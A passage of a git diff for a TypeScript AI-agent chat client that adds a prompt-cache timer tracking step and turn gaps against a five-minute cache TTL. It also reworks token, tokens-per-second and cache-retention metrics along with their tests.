+ * result arrives (the next request fires right after) or, failing that, when
+ * anything from the next step shows up. Its final value is **stamped** on
+ * that step (keyed by `stepId`).
+ * - **turn gap**: the turn ended (`done` / `error`) and the conversation is
+ * waiting on the user. Stops when a new message is sent (locally, or a
+ * `user-message` / `turn-start` from another client) and is stamped on that
+ * turn (keyed by `turnId`).
+ *
+ * At most ONE gap runs at a time (`running`). Zero DOM, zero clock: every fold
+ * takes the current time as an argument.
+ */
+
+/** Prompt-cache time-to-live: 5 minutes (drives the badge colour). */
+export const CACHE_TTL_MS = 5 * 60 * 1000;
+
+/** The timer counts up to this, then reads "10+ min". */
+export const CACHE_TIMER_MAX_MS = 10 * 60 * 1000;
+
+/** Within this much of the TTL the timer warns (colour only). */
+const WARN_AT_MS = CACHE_TTL_MS - 60 * 1000;
+
+/** A step gap in progress: the step's tools are executing. */
+export interface RunningStepGap {
+ readonly kind: "step";
+ readonly turnId: string;
+ readonly stepId: string;
+ /** Epoch ms the step completed. */
+ readonly startedAt: number;
+ /** How many tool calls the step made (`0` → nothing to show; never stamped). */
+ readonly toolCount: number;
+ /** Tool calls still awaiting their result. */
+ readonly pending: ReadonlySet<string>;
+ /** Longest backend-reported tool `durationMs` seen so far for this step. */
+ readonly maxToolMs: number;
+}
+
+/** A turn gap in progress: the turn ended and nothing has been sent since. */
+export interface RunningTurnGap {
+ readonly kind: "turn";
+ /**
+ * The turn that ended, or `null` when seeded from the backend's
+ * `lastActivityAt` after a reload (no live `done` seen) — then it belongs to
+ * the most recent turn, resolved positionally / via `lastTurnId` on stop.
+ */
+ readonly turnId: string | null;
+ /** Epoch ms the turn ended. */
+ readonly startedAt: number;
+}
+
+export type RunningGap = RunningStepGap | RunningTurnGap;
+
+export interface CacheTimerState {
+ readonly running: RunningGap | null;
+ /** Stamped step gaps: `stepId` → elapsed ms. */
+ readonly stepStamps: ReadonlyMap<string, number>;
+ /** Stamped turn gaps: `turnId` → elapsed ms. */
+ readonly turnStamps: ReadonlyMap<string, number>;
+ /** Tool calls seen per step in the CURRENT turn (`stepId` → call ids). */
+ readonly calls: ReadonlyMap<string, ReadonlySet<string>>;
+ /** Tool results seen per step in the CURRENT turn (`stepId` → call ids). */
+ readonly results: ReadonlyMap<string, ReadonlySet<string>>;
+ /** Longest tool `durationMs` per step in the CURRENT turn. */
+ readonly toolMs: ReadonlyMap<string, number>;
+}
+
+export function initialCacheTimerState(): CacheTimerState {
+ return {
+ running: null,
+ stepStamps: new Map(),
+ turnStamps: new Map(),
+ calls: new Map(),
+ results: new Map(),
+ toolMs: new Map(),
+ };
+}
+
+function addTo(
+ map: ReadonlyMap<string, ReadonlySet<string>>,
+ key: string,
+ value: string,
+): ReadonlyMap<string, ReadonlySet<string>> {
+ const next = new Map(map);
+ next.set(key, new Set([...(map.get(key) ?? []), value]));
+ return next;
+}
+
+function withEntry(map: ReadonlyMap<string, number>, key: string, value: number) {
+ const next = new Map(map);
+ next.set(key, value);
+ return next;
+}
+
+/**
+ * Stop the running STEP gap (if any). A step that made tool calls is stamped
+ * with `max(wall-clock elapsed, longest backend tool duration)` — the backend
+ * figure keeps a late-join replay (whole step delivered in one burst, ~0
+ * elapsed) honest. A step with no tool calls is discarded.
+ */
+function stopStep(state: CacheTimerState, now: number): CacheTimerState {
+ const r = state.running;
+ if (r === null || r.kind !== "step") return state;
+ if (r.toolCount === 0) return { ...state, running: null };
+ const elapsed = Math.max(0, now - r.startedAt, r.maxToolMs);
+ return { ...state, running: null, stepStamps: withEntry(state.stepStamps, r.stepId, elapsed) };
+}
+
+/**
+ * Stop the running TURN gap (if any) and stamp it on its turn. A seeded gap
+ * (`turnId === null`) is stamped on `lastTurnId()` — the most recent turn's
+ * id — or dropped when that is unknown.
+ */
+export function stopTurnGap(
+ state: CacheTimerState,
+ now: number,
+ lastTurnId: () => string | undefined,
+): CacheTimerState {
+ const r = state.running;
+ if (r === null || r.kind !== "turn") return state;
+ const turnId = r.turnId ?? lastTurnId();
+ if (turnId === undefined) return { ...state, running: null };
+ const elapsed = Math.max(0, now - r.startedAt);
+ return { ...state, running: null, turnStamps: withEntry(state.turnStamps, turnId, elapsed) };
+}
+
+/** A turn ended: close any step gap, forget the turn's tool bookkeeping, start the turn gap. */
+function endTurn(state: CacheTimerState, turnId: string, now: number): CacheTimerState {
+ const s = stopStep(state, now);
+ return {
+ ...s,
+ running: { kind: "turn", turnId, startedAt: now },
+ calls: new Map(),
+ results: new Map(),
+ toolMs: new Map(),
+ };
+}
+
+/**
+ * Fold one live event into the cache-timer state at time `now`. `lastTurnId`
+ * resolves a seeded turn gap's turn when a new turn starts (see
+ * `stopTurnGap`); it is only called in that case.
+ */
+export function foldCacheTimerEvent(
+ state: CacheTimerState,
+ event: AgentEvent,
+ now: number,
+ lastTurnId: () => string | undefined,
+): CacheTimerState {
+ const r = state.running;
+ switch (event.type) {
+ case "user-message":
+ case "turn-start":
+ // A new turn is starting — the user (here or elsewhere) sent a message.
+ return stopTurnGap(state, now, lastTurnId);
+
+ case "tool-call": {
+ // A call from a DIFFERENT step means the next step is already streaming.
+ const s = r?.kind === "step" && r.stepId !== event.stepId ? stopStep(state, now) : state;
+ return { ...s, calls: addTo(s.calls, event.stepId, event.toolCallId) };
+ }
+
+ case "tool-result": {
+ const results = addTo(state.results, event.stepId, event.toolCallId);
+ const dur = event.durationMs ?? 0;
+ const toolMs =
+ dur > (state.toolMs.get(event.stepId) ?? 0)
+ ? withEntry(state.toolMs, event.stepId, dur)
+ : state.toolMs;
+ let s: CacheTimerState = { ...state, results, toolMs };
+ if (r?.kind === "step" && r.stepId === event.stepId) {
+ const pending = new Set(r.pending);
+ pending.delete(event.toolCallId);
+ s = { ...s, running: { ...r, pending, maxToolMs: Math.max(r.maxToolMs, dur) } };
+ // Every tool of the step has returned → the next request fires now.
+ if (pending.size === 0) s = stopStep(s, now);
+ }
+ return s;
+ }
+
+ case "step-complete": {
+ const s = stopStep(stopTurnGap(state, now, lastTurnId), now);
+ const calls = s.calls.get(event.stepId) ?? new Set<string>();
+ const done = s.results.get(event.stepId) ?? new Set<string>();
+ const pending = new Set([...calls].filter((id) => !done.has(id)));
+ return {
+ ...s,
+ running: {
+ kind: "step",
+ turnId: event.turnId,
+ stepId: event.stepId,
+ startedAt: now,
+ toolCount: calls.size,
+ pending,
+ maxToolMs: s.toolMs.get(event.stepId) ?? 0,
+ },
+ };
+ }
+
+ case "text-delta":
+ case "reasoning-delta":
+ case "reasoning-end":
+ case "provider-retry":
+ // Output (or a retry) from the next request: the gap is over.
+ return r?.kind === "step" ? stopStep(state, now) : state;
+
+ case "usage":
+ return r?.kind === "step" && event.stepId !== undefined && event.stepId !== r.stepId
+ ? stopStep(state, now)
+ : state;
+
+ case "done":
+ case "error":
+ return endTurn(state, event.turnId, now);
+
+ default:
+ return state;
+ }
+}
+
+/**
+ * Seed a turn gap from an authoritative "last activity" timestamp (the
+ * backend's `lastActivityAt`, for a conversation that is idle — e.g. after a
+ * reload, when no live `done` was seen). Never overrides a running step gap;
+ * a running turn gap keeps the LATER start. Non-finite input is ignored.
+ */
+export function seedTurnGap(state: CacheTimerState, at: number): CacheTimerState {
+ if (!Number.isFinite(at)) return state;
+ const r = state.running;
+ if (r === null) return { ...state, running: { kind: "turn", turnId: null, startedAt: at } };
+ if (r.kind === "turn" && at > r.startedAt) return { ...state, running: { ...r, startedAt: at } };
+ return state;
+}
+
+// ── View ──────────────────────────────────────────────────────────────────────
+
+/** Formatted cache-timer view: label + colour severity + capped flag. */
+export interface CacheTimerView {
+ /** `"m:ss"` up to 10 minutes, then `"10+ min"`. */
+ readonly label: string;
+ /** Colour by the 5-minute cache TTL (maps to DaisyUI `badge-{level}`). */
+ readonly level: "success" | "warning" | "error";
+ /** Whether the 10-minute display cap was reached (a live timer may stop ticking). */
+ readonly capped: boolean;
+}
+
+/**
+ * Build the view for `elapsedMs`. Colour tracks the cache TTL: success under
+ * 4 min, warning in the last minute, error once the cache has likely expired.
+ * Negative / non-finite elapsed (clock skew) clamps to `0:00`.
+ */
+export function viewCacheTimer(elapsedMs: number): CacheTimerView {
+ const ms = Number.isFinite(elapsedMs) && elapsedMs > 0 ? elapsedMs : 0;
+ const level = ms >= CACHE_TTL_MS ? "error" : ms >= WARN_AT_MS ? "warning" : "success";
+ if (ms >= CACHE_TIMER_MAX_MS) return { label: "10+ min", level, capped: true };
+ const totalSeconds = Math.floor(ms / 1000);
+ const minutes = Math.floor(totalSeconds / 60);
+ const seconds = totalSeconds % 60;
+ return { label: `${minutes}:${seconds.toString().padStart(2, "0")}`, level, capped: false };
+}
+
+/**
+ * Index of the most recent turn's metrics row — the LAST `turn-metrics` row,
+ * provided no user message follows it. Where a SEEDED turn gap (no `turnId`)
+ * renders. `null` when there is no such row.
+ */
+export function lastTurnRowIndex(rows: readonly MetricsRow[]): number | null {
+ for (let i = rows.length - 1; i >= 0; i--) {
+ const row = rows[i];
+ if (row === undefined) continue;
+ if (row.kind === "turn-metrics") return i;
+ if (row.kind === "group" && row.group.kind === "single" && row.group.chunk.role === "user") {
+ return null;
+ }
+ }
+ return null;
+}
diff --git a/src/core/metrics/format.test.ts b/src/core/metrics/format.test.ts
index 97170d0..3e8ebdd 100644
--- a/src/core/metrics/format.test.ts
+++ b/src/core/metrics/format.test.ts
@@ -46,7 +46,7 @@ describe("viewStepMetrics", () => {
};
const view = viewStepMetrics(step, 0);
expect(view.label).toBe("step 1");
- expect(view.tokensLabel).toBe("1,801 tok");
+ expect(view.tokensLabel).toBe("1,234 in / 567 out");
expect(view.tps).toBe("473 tok/s");
expect(view.ttft).toBe("820ms");
expect(view.decode).toBe("1.2s");
@@ -105,15 +105,14 @@ describe("viewStepMetrics", () => {
expect(view.tps).toBe("100 tok/s");
});
- it("tps falls back to genTotalMs when decodeMs absent", () => {
+ it("tps is null when decodeMs is absent (never falls back to genTotalMs, which includes TTFT)", () => {
const step: StepMetrics = {
stepId: "s1" as StepId,
usage: { inputTokens: 100, outputTokens: 50 },
genTotalMs: 800,
};
const view = viewStepMetrics(step, 0);
- // 50 / (800/1000) = 62.5 → rounds to 63
- expect(view.tps).toBe("63 tok/s");
+ expect(view.tps).toBeNull();
});
});
@@ -133,8 +132,8 @@ describe("viewTurnMetrics", () => {
],
};
const view = viewTurnMetrics(turn);
- expect(view.tokensLabel).toBe("1,234 tok");
- expect(view.breakdown).toBe("1,000 in / 234 out");
+ expect(view.tokensLabel).toBe("234 tok out");
+ expect(view.breakdown).toBe("1,000 in");
expect(view.tps).toBe("78 tok/s");
expect(view.duration).toBe("5.0s");
});
@@ -146,7 +145,7 @@ describe("viewTurnMetrics", () => {
steps: [],
};
const view = viewTurnMetrics(turn);
- expect(view.breakdown).toBe("1,000 in / 234 out / 500 cache");
+ expect(view.breakdown).toBe("1,000 in (500 cached)");
});
it("breakdown omits cache when not present", () => {
@@ -156,7 +155,7 @@ describe("viewTurnMetrics", () => {
steps: [],
};
const view = viewTurnMetrics(turn);
- expect(view.breakdown).toBe("100 in / 50 out");
+ expect(view.breakdown).toBe("100 in");
});
it("tps is null when no step has decodeMs or genTotalMs", () => {
@@ -184,7 +183,7 @@ describe("viewTurnMetrics", () => {
expect(view.duration).toBeNull();
});
- it("sums decodeMs across steps (fallback genTotalMs per step) for tps", () => {
+ it("turn tps counts only steps that report decodeMs (both tokens and time)", () => {
const turn: TurnMetrics = {
turnId: "t1",
usage: { inputTokens: 300, outputTokens: 150 },
@@ -203,9 +202,9 @@ describe("viewTurnMetrics", () => {
],
};
const view = viewTurnMetrics(turn);
- // step1 uses decodeMs=800, step2 falls back to genTotalMs=2000 → total=2800ms
- // 150 / (2800/1000) = 53.57 → rounds to 54
- expect(view.tps).toBe("54 tok/s");
+ // only step1 is timed: 50 / (800/1000) = 62.5 → 63. step2 (no decodeMs)
+ // contributes neither tokens nor time — never its TTFT-inflated genTotalMs.
+ expect(view.tps).toBe("63 tok/s");
});
});
@@ -260,40 +259,47 @@ describe("computeExpectedCachePct", () => {
expect(computeExpectedCachePct({ inputTokens: 100, outputTokens: 0 }, null)).toBeNull();
});
- it("null when the prior turn cached nothing (denominator 0)", () => {
- const prev = { inputTokens: 100, outputTokens: 0 };
- const current = { inputTokens: 200, outputTokens: 0, cacheReadTokens: 50 };
- expect(computeExpectedCachePct(current, prev)).toBeNull();
+ it("null when this turn has no first step", () => {
+ expect(computeExpectedCachePct(undefined, { inputTokens: 100, outputTokens: 0 })).toBeNull();
});
- it("100% when the whole prior cached prefix was read back (backend worked example)", () => {
- // turn 1: cacheRead 0, cacheWrite 5146 → prefix 5146; turn 2 reads 5146 back.
- const prev = { inputTokens: 5149, outputTokens: 0, cacheReadTokens: 0, cacheWriteTokens: 5146 };
- const current = {
- inputTokens: 8462,
- outputTokens: 0,
- cacheReadTokens: 5146,
- cacheWriteTokens: 3313,
- };
- expect(computeExpectedCachePct(current, prev)).toBe(100);
+ it("null when the prior prompt was empty (denominator 0)", () => {
+ const prev = { inputTokens: 0, outputTokens: 0 };
+ expect(computeExpectedCachePct({ inputTokens: 10, outputTokens: 0 }, prev)).toBeNull();
});
- it("drops below 100% when the cache busted (read < prior prefix)", () => {
- const prev = {
- inputTokens: 1000,
- outputTokens: 0,
- cacheReadTokens: 100,
- cacheWriteTokens: 900,
- };
- const current = { inputTokens: 1000, outputTokens: 0, cacheReadTokens: 500 };
- // 500 / (100 + 900) = 50%
- expect(computeExpectedCachePct(current, prev)).toBe(50);
+ it("100% when the first step reads back the whole prior final prompt", () => {
+ // prev turn's last step sent 5149 tokens; this turn's first step (a
+ // superset prompt) reads 5149 of them from cache.
+ const prevLast = { inputTokens: 5149, outputTokens: 40, cacheReadTokens: 3000 };
+ const first = { inputTokens: 8462, outputTokens: 0, cacheReadTokens: 5149 };
+ expect(computeExpectedCachePct(first, prevLast)).toBe(100);
+ });
+
+ it("drops below 100% when the cache busted", () => {
+ const prevLast = { inputTokens: 1000, outputTokens: 0, cacheReadTokens: 900 };
+ const first = { inputTokens: 1200, outputTokens: 0, cacheReadTokens: 500 };
+ expect(computeExpectedCachePct(first, prevLast)).toBe(50);
+ });
+
+ it("0% (not null) on a full miss", () => {
+ const prevLast = { inputTokens: 1000, outputTokens: 0 };
+ const first = { inputTokens: 1200, outputTokens: 0 };
+ expect(computeExpectedCachePct(first, prevLast)).toBe(0);
+ });
+
+ it("is NOT inflated by multi-step turns (step-level, not turn sums)", () => {
+ // A 10-step turn reads the same prefix 10x; the old turn-sum ratio read
+ // ~10x the baseline and pinned at 100%. Step-level reflects the bust.
+ const prevLast = { inputTokens: 50_000, outputTokens: 0, cacheReadTokens: 49_000 };
+ const first = { inputTokens: 51_000, outputTokens: 0, cacheReadTokens: 10_000 };
+ expect(computeExpectedCachePct(first, prevLast)).toBe(20);
});
- it("clamps to 100 if read somehow exceeds the prior prefix", () => {
- const prev = { inputTokens: 100, outputTokens: 0, cacheWriteTokens: 100 };
- const current = { inputTokens: 100, outputTokens: 0, cacheReadTokens: 250 };
- expect(computeExpectedCachePct(current, prev)).toBe(100);
+ it("clamps to 100", () => {
+ const prevLast = { inputTokens: 100, outputTokens: 0 };
+ const first = { inputTokens: 300, outputTokens: 0, cacheReadTokens: 250 };
+ expect(computeExpectedCachePct(first, prevLast)).toBe(100);
});
});
@@ -303,9 +309,9 @@ describe("viewExpectedCache", () => {
});
it("success level + hit flag for full retention", () => {
- const prev = { inputTokens: 5149, outputTokens: 0, cacheWriteTokens: 5146 };
- const current = { inputTokens: 8462, outputTokens: 0, cacheReadTokens: 5146 };
- const v = viewExpectedCache(current, prev);
+ const prevLast = { inputTokens: 5146, outputTokens: 0 };
+ const first = { inputTokens: 8462, outputTokens: 0, cacheReadTokens: 5146 };
+ const v = viewExpectedCache(first, prevLast);
expect(v?.pct).toBe(100);
expect(v?.level).toBe("success");
expect(v?.isHit).toBe(true);
diff --git a/src/core/metrics/format.ts b/src/core/metrics/format.ts
index 894bd54..5a13a9a 100644
--- a/src/core/metrics/format.ts
+++ b/src/core/metrics/format.ts
@@ -77,26 +77,31 @@ export function computeTps(outputTokens: number, elapsedMs: number | undefined):
return outputTokens / (elapsedMs / 1000);
}
-function totalTokens(u: Usage): number {
- return u.inputTokens + u.outputTokens;
-}
-
function formatBreakdown(u: Usage): string {
- let s = `${formatTokens(u.inputTokens)} in / ${formatTokens(u.outputTokens)} out`;
+ let s = `${formatTokens(u.inputTokens)} in`;
if (u.cacheReadTokens !== undefined && u.cacheReadTokens > 0) {
- s += ` / ${formatTokens(u.cacheReadTokens)} cache`;
+ s += ` (${formatTokens(u.cacheReadTokens)} cached)`;
}
return s;
}
+/**
+ * A step's tokens-per-second: `outputTokens / decodeMs`. Decode time is the
+ * model's generation window (first output token → stream end) with tool
+ * execution excluded by the backend. `genTotalMs` is deliberately NOT a
+ * fallback: it includes time-to-first-token (prompt processing / queueing),
+ * which would understate the rate by multiples. No decode time → no TPS.
+ */
+function stepTps(step: StepMetrics): number | null {
+ return computeTps(step.usage.outputTokens, step.decodeMs);
+}
+
/** Build a formatted view of a single step's metrics. */
export function viewStepMetrics(step: StepMetrics, index: number): StepMetricsView {
- const total = totalTokens(step.usage);
- const tps = computeTps(step.usage.outputTokens, step.decodeMs ?? step.genTotalMs);
return {
label: `step ${index + 1}`,
- tokensLabel: `${formatTokens(total)} tok`,
- tps: formatTps(tps),
+ tokensLabel: `${formatTokens(step.usage.inputTokens)} in / ${formatTokens(step.usage.outputTokens)} out`,
+ tps: formatTps(stepTps(step)),
ttft: formatDuration(step.ttftMs),
decode: formatDuration(step.decodeMs),
genTotal: formatDuration(step.genTotalMs),
@@ -130,19 +135,25 @@ export function viewCacheRate(u: Usage): CacheRateView {
}
/**
- * Expected cache (retention): of the cache that existed going INTO this turn, how
- * much was read back — `clamp01(cacheRead_N / (cacheRead_{N-1} + cacheWrite_{N-1}))`.
- * The denominator is the PRIOR turn's cached prefix (what it read + what it wrote).
- * Ideally ~100% on every turn after the first; <100% = the cache busted/expired.
+ * Expected cache (retention): of the prompt the PREVIOUS turn last sent (its
+ * final step's input), how much this turn's FIRST step read back from cache —
+ * `clamp01(firstStep.cacheRead / prevLastStep.input)`. Everything in that
+ * prompt is a prefix of this turn's first prompt, so ~100% means the cache
+ * survived between turns; lower means it busted/expired. Step-level on both
+ * sides: comparing whole-turn sums is meaningless (a multi-step turn reads
+ * the same prefix once per step).
*
- * Returns `null` when it cannot be derived: no prior turn (`prev === null`) or the
- * prior turn cached nothing (denominator <= 0) — distinct from a real 0%.
+ * Returns `null` when it cannot be derived: no earlier turn, no first step,
+ * or the previous prompt was empty — distinct from a real 0%.
*/
-export function computeExpectedCachePct(current: Usage, prev: Usage | null): number | null {
- if (prev === null) return null;
- const denom = (prev.cacheReadTokens ?? 0) + (prev.cacheWriteTokens ?? 0);
+export function computeExpectedCachePct(
+ firstStep: Usage | undefined,
+ prevLastStep: Usage | null,
+): number | null {
+ if (prevLastStep === null || firstStep === undefined) return null;
+ const denom = prevLastStep.inputTokens;
if (denom <= 0) return null;
- const read = current.cacheReadTokens ?? 0;
+ const read = firstStep.cacheReadTokens ?? 0;
const rate = read / denom;
const clamped = rate < 0 ? 0 : rate > 1 ? 1 : rate;
return Math.round(clamped * 100);
@@ -152,28 +163,36 @@ export function computeExpectedCachePct(current: Usage, prev: Usage | null): num
* Build a view of the cross-turn retention (percentage + colour level + hit flag),
* or `null` when it can't be derived (see `computeExpectedCachePct`).
*/
-export function viewExpectedCache(current: Usage, prev: Usage | null): CacheRateView | null {
- const pct = computeExpectedCachePct(current, prev);
+export function viewExpectedCache(
+ firstStep: Usage | undefined,
+ prevLastStep: Usage | null,
+): CacheRateView | null {
+ const pct = computeExpectedCachePct(firstStep, prevLastStep);
if (pct === null) return null;
- return { pct, level: cacheLevel(pct), isHit: (current.cacheReadTokens ?? 0) > 0 };
+ return { pct, level: cacheLevel(pct), isHit: (firstStep?.cacheReadTokens ?? 0) > 0 };
}
-/** Build a formatted view of a turn's aggregate metrics. */
+/**
+ * Build a formatted view of a turn's aggregate metrics.
+ *
+ * Turn TPS = output tokens ÷ decode time, summed over ONLY the steps that
+ * report a decode time (both numerator and denominator), so a step without
+ * timing can neither inflate nor deflate it. Tool execution between steps is
+ * never part of any step's decode time.
+ */
export function viewTurnMetrics(turn: TurnMetrics, turnNumber?: number): TurnMetricsView {
- const total = totalTokens(turn.usage);
- let totalGenMs: number | undefined;
+ let timedOut = 0;
+ let decodeMs: number | undefined;
for (const step of turn.steps) {
- const stepMs = step.decodeMs ?? step.genTotalMs;
- if (stepMs !== undefined) {
- totalGenMs = (totalGenMs ?? 0) + stepMs;
- }
+ if (step.decodeMs === undefined || step.decodeMs <= 0) continue;
+ timedOut += step.usage.outputTokens;
+ decodeMs = (decodeMs ?? 0) + step.decodeMs;
}
- const tps = computeTps(turn.usage.outputTokens, totalGenMs);
return {
label: turnNumber !== undefined ? `turn ${turnNumber}` : "turn",
- tokensLabel: `${formatTokens(total)} tok`,
+ tokensLabel: `${formatTokens(turn.usage.outputTokens)} tok out`,
breakdown: formatBreakdown(turn.usage),
- tps: formatTps(tps),
+ tps: formatTps(computeTps(timedOut, decodeMs)),
duration: formatDuration(turn.durationMs),
};
}
diff --git a/src/core/metrics/index.ts b/src/core/metrics/index.ts
index d3c9669..d9df7f5 100644
--- a/src/core/metrics/index.ts
+++ b/src/core/metrics/index.ts
@@ -1,4 +1,19 @@
export {
+ CACHE_TIMER_MAX_MS,
+ CACHE_TTL_MS,
+ type CacheTimerState,
+ type CacheTimerView,
+ foldCacheTimerEvent,
+ initialCacheTimerState,
+ lastTurnRowIndex,
+ type RunningGap,
+ type RunningStepGap,
+ type RunningTurnGap,
+ seedTurnGap,
+ stopTurnGap,
+ viewCacheTimer,
+} from "./cache-timer";
+export {
type ContextUsage,
computeCachePct,
computeContextUsage,
diff --git a/src/core/metrics/place.test.ts b/src/core/metrics/place.test.ts
index 9c925a3..7695e21 100644
--- a/src/core/metrics/place.test.ts
+++ b/src/core/metrics/place.test.ts
@@ -28,31 +28,36 @@ function assistantGroup(seq: number, text: string): RenderGroup {
};
}
-function toolCallGroup(seq: number, stepId: string, toolCallId: string): RenderGroup {
+function toolCallGroup(stepId: string, toolCallId: string): RenderGroup {
return {
- kind: "single",
- chunk: {
- seq,
- role: "assistant",
- chunk: {
+ kind: "tool",
+ stepId,
+ provisional: false,
+ entry: {
+ toolCallId,
+ toolName: "test",
+ result: null,
+ call: {
type: "tool-call",
toolCallId,
toolName: "test",
input: {},
stepId: stepId as StepId,
},
- provisional: false,
},
};
}
-function toolResultGroup(seq: number, stepId: string, toolCallId: string): RenderGroup {
+function toolResultGroup(stepId: string, toolCallId: string): RenderGroup {
return {
- kind: "single",
- chunk: {
- seq,
- role: "tool",
- chunk: {
+ kind: "tool",
+ stepId,
+ provisional: false,
+ entry: {
+ toolCallId,
+ toolName: "test",
+ call: null,
+ result: {
type: "tool-result",
toolCallId,
toolName: "test",
@@ -60,29 +65,10 @@ function toolResultGroup(seq: number, stepId: string, toolCallId: string): Rende
isError: false,
stepId: stepId as StepId,
},
- provisional: false,
},
};
}
-function toolBatchGroup(stepId: string, toolCallIds: string[]): RenderGroup {
- return {
- kind: "tool-batch",
- stepId,
- entries: toolCallIds.map((id) => ({
- call: {
- type: "tool-call" as const,
- toolCallId: id,
- toolName: "test",
- input: {},
- stepId: stepId as StepId,
- },
- result: null,
- })),
- provisional: false,
- };
-}
-
function makeStep(stepId: string, inputTokens: number, outputTokens: number): StepMetrics {
return {
stepId: stepId as StepId,
@@ -169,9 +155,9 @@ describe("interleaveTurnMetrics", () => {
it("head-aligned: segment i gets entries[i]", () => {
const g1 = userGroup(1, "q1");
- const g2 = toolCallGroup(2, "s1", "c1");
+ const g2 = toolCallGroup("s1", "c1");
const g3 = userGroup(3, "q2");
- const g4 = toolCallGroup(4, "s2", "c2");
+ const g4 = toolCallGroup("s2", "c2");
const step1 = makeStep("s1", 100, 50);
const step2 = makeStep("s2", 200, 80);
const rows = interleaveTurnMetrics(
@@ -192,7 +178,7 @@ describe("interleaveTurnMetrics", () => {
it("a trailing segment with no entry (in-flight turn) renders no metrics", () => {
const g1 = userGroup(1, "q1");
- const g2 = toolCallGroup(2, "s1", "c1");
+ const g2 = toolCallGroup("s1", "c1");
const g3 = userGroup(3, "q2");
const g4 = assistantGroup(4, "a2");
const step = makeStep("s1", 100, 50);
@@ -220,26 +206,28 @@ describe("interleaveTurnMetrics", () => {
expectTurnMetricsAt(rows, 2, "t1");
});
- it("tool step anchors inline after its tool-batch group", () => {
+ it("tool step anchors inline after its LAST independent tool card", () => {
const g1 = userGroup(1, "q1");
- const g2 = toolBatchGroup("t#0", ["c1", "c2"]);
+ const g2 = toolCallGroup("t#0", "c1");
+ const parallel = toolCallGroup("t#0", "c2");
const g3 = assistantGroup(3, "a1");
const step0 = makeStep("t#0", 100, 50);
const step1 = makeStep("t#1", 200, 80);
const turn = makeEntry("t1", 300, 130, [step0, step1]);
- const rows = interleaveTurnMetrics([g1, g2, g3], [turn]);
+ const rows = interleaveTurnMetrics([g1, g2, parallel, g3], [turn]);
- expect(rows).toHaveLength(5);
+ expect(rows).toHaveLength(6);
expectGroupAt(rows, 0, g1);
expectGroupAt(rows, 1, g2);
- expectStepMetricsAt(rows, 2, "t#0", 0);
- expectGroupAt(rows, 3, g3);
- expectTurnMetricsAt(rows, 4, "t1");
+ expectGroupAt(rows, 2, parallel);
+ expectStepMetricsAt(rows, 3, "t#0", 0);
+ expectGroupAt(rows, 4, g3);
+ expectTurnMetricsAt(rows, 5, "t1");
});
it("single tool-call group anchors its step", () => {
const g1 = userGroup(1, "q1");
- const g2 = toolCallGroup(2, "s1", "c1");
+ const g2 = toolCallGroup("s1", "c1");
const g3 = assistantGroup(3, "a1");
const step = makeStep("s1", 100, 50);
const turn = makeEntry("t1", 100, 50, [step]);
@@ -255,7 +243,7 @@ describe("interleaveTurnMetrics", () => {
it("single tool-result group anchors its step", () => {
const g1 = userGroup(1, "q1");
- const g2 = toolResultGroup(2, "s1", "c1");
+ const g2 = toolResultGroup("s1", "c1");
const g3 = assistantGroup(3, "a1");
const step = makeStep("s1", 100, 50);
const turn = makeEntry("t1", 100, 50, [step]);
@@ -271,9 +259,9 @@ describe("interleaveTurnMetrics", () => {
it("multi-step: each tool step inline, unanchored text step skipped", () => {
const g1 = userGroup(1, "q1");
- const g2 = toolBatchGroup("t#0", ["c1"]);
+ const g2 = toolCallGroup("t#0", "c1");
const g3 = assistantGroup(2, "thinking");
- const g4 = toolBatchGroup("t#1", ["c2", "c3"]);
+ const g4 = toolCallGroup("t#1", "c2");
const g5 = assistantGroup(3, "a1");
const step0 = makeStep("t#0", 100, 50);
const step1 = makeStep("t#1", 200, 80);
@@ -294,10 +282,10 @@ describe("interleaveTurnMetrics", () => {
it("multiple turns head-aligned with inline steps", () => {
const g1 = userGroup(1, "q1");
- const g2 = toolBatchGroup("s1", ["c1"]);
+ const g2 = toolCallGroup("s1", "c1");
const g3 = assistantGroup(2, "a1");
const g4 = userGroup(3, "q2");
- const g5 = toolCallGroup(4, "s2", "c2");
+ const g5 = toolCallGroup("s2", "c2");
const step1 = makeStep("s1", 100, 50);
const step2 = makeStep("s2", 200, 80);
const rows = interleaveTurnMetrics(
@@ -332,7 +320,7 @@ describe("interleaveTurnMetrics", () => {
it("fewer metrics than segments: trailing segments are bare", () => {
const g1 = userGroup(1, "q1");
- const g2 = toolCallGroup(2, "s1", "c1");
+ const g2 = toolCallGroup("s1", "c1");
const g3 = userGroup(3, "q2");
const g4 = assistantGroup(4, "a2");
const g5 = userGroup(5, "q3");
@@ -361,7 +349,7 @@ describe("interleaveTurnMetrics", () => {
// stepId groups) — the failure case. The text-only turn MUST get its OWN
// entry (t3), NOT the trimmed t1's stale metrics.
const g3 = userGroup(3, "q2");
- const g4 = toolBatchGroup("s2", ["c2"]);
+ const g4 = toolCallGroup("s2", "c2");
const g5 = assistantGroup(4, "tool-reply");
const g6 = userGroup(5, "q3");
const g7 = assistantGroup(6, "text-reply");
@@ -401,7 +389,12 @@ describe("interleaveTurnMetrics", () => {
total: {
turnId: "t1",
usage: { inputTokens: 1000, outputTokens: 10, cacheReadTokens: 500 },
- steps: [],
+ steps: [
+ {
+ stepId: "t1#0" as StepId,
+ usage: { inputTokens: 1000, outputTokens: 10, cacheReadTokens: 500 },
+ },
+ ],
},
},
{
@@ -424,14 +417,14 @@ describe("interleaveTurnMetrics", () => {
// Cumulative includes BOTH turns (t1 + t2): input 3000, cacheRead 2100.
expect(tmRows[0]?.cumulativeUsage.inputTokens).toBe(3000);
expect(tmRows[0]?.cumulativeUsage.cacheReadTokens).toBe(2100);
- // Retention baseline is the prior finalized turn (t1, even though trimmed).
- expect(tmRows[0]?.prevTurnUsage?.inputTokens).toBe(1000);
- expect(tmRows[0]?.prevTurnUsage?.cacheReadTokens).toBe(500);
+ // Retention baseline is the prior finalized turn's LAST step (t1, even though trimmed).
+ expect(tmRows[0]?.prevLastStepUsage?.inputTokens).toBe(1000);
+ expect(tmRows[0]?.prevLastStepUsage?.cacheReadTokens).toBe(500);
});
it("in-flight turn (no durationMs) still produces turn row", () => {
const g1 = userGroup(1, "q1");
- const g2 = toolCallGroup(2, "s1", "c1");
+ const g2 = toolCallGroup("s1", "c1");
const step = makeStep("s1", 100, 50);
const turn: TurnMetricsEntry = {
turnId: "t1",
@@ -454,7 +447,7 @@ describe("interleaveTurnMetrics", () => {
it("leading non-turn groups emit as plain group rows", () => {
const g0 = assistantGroup(1, "system msg");
const g1 = userGroup(2, "q1");
- const g2 = toolCallGroup(3, "s1", "c1");
+ const g2 = toolCallGroup("s1", "c1");
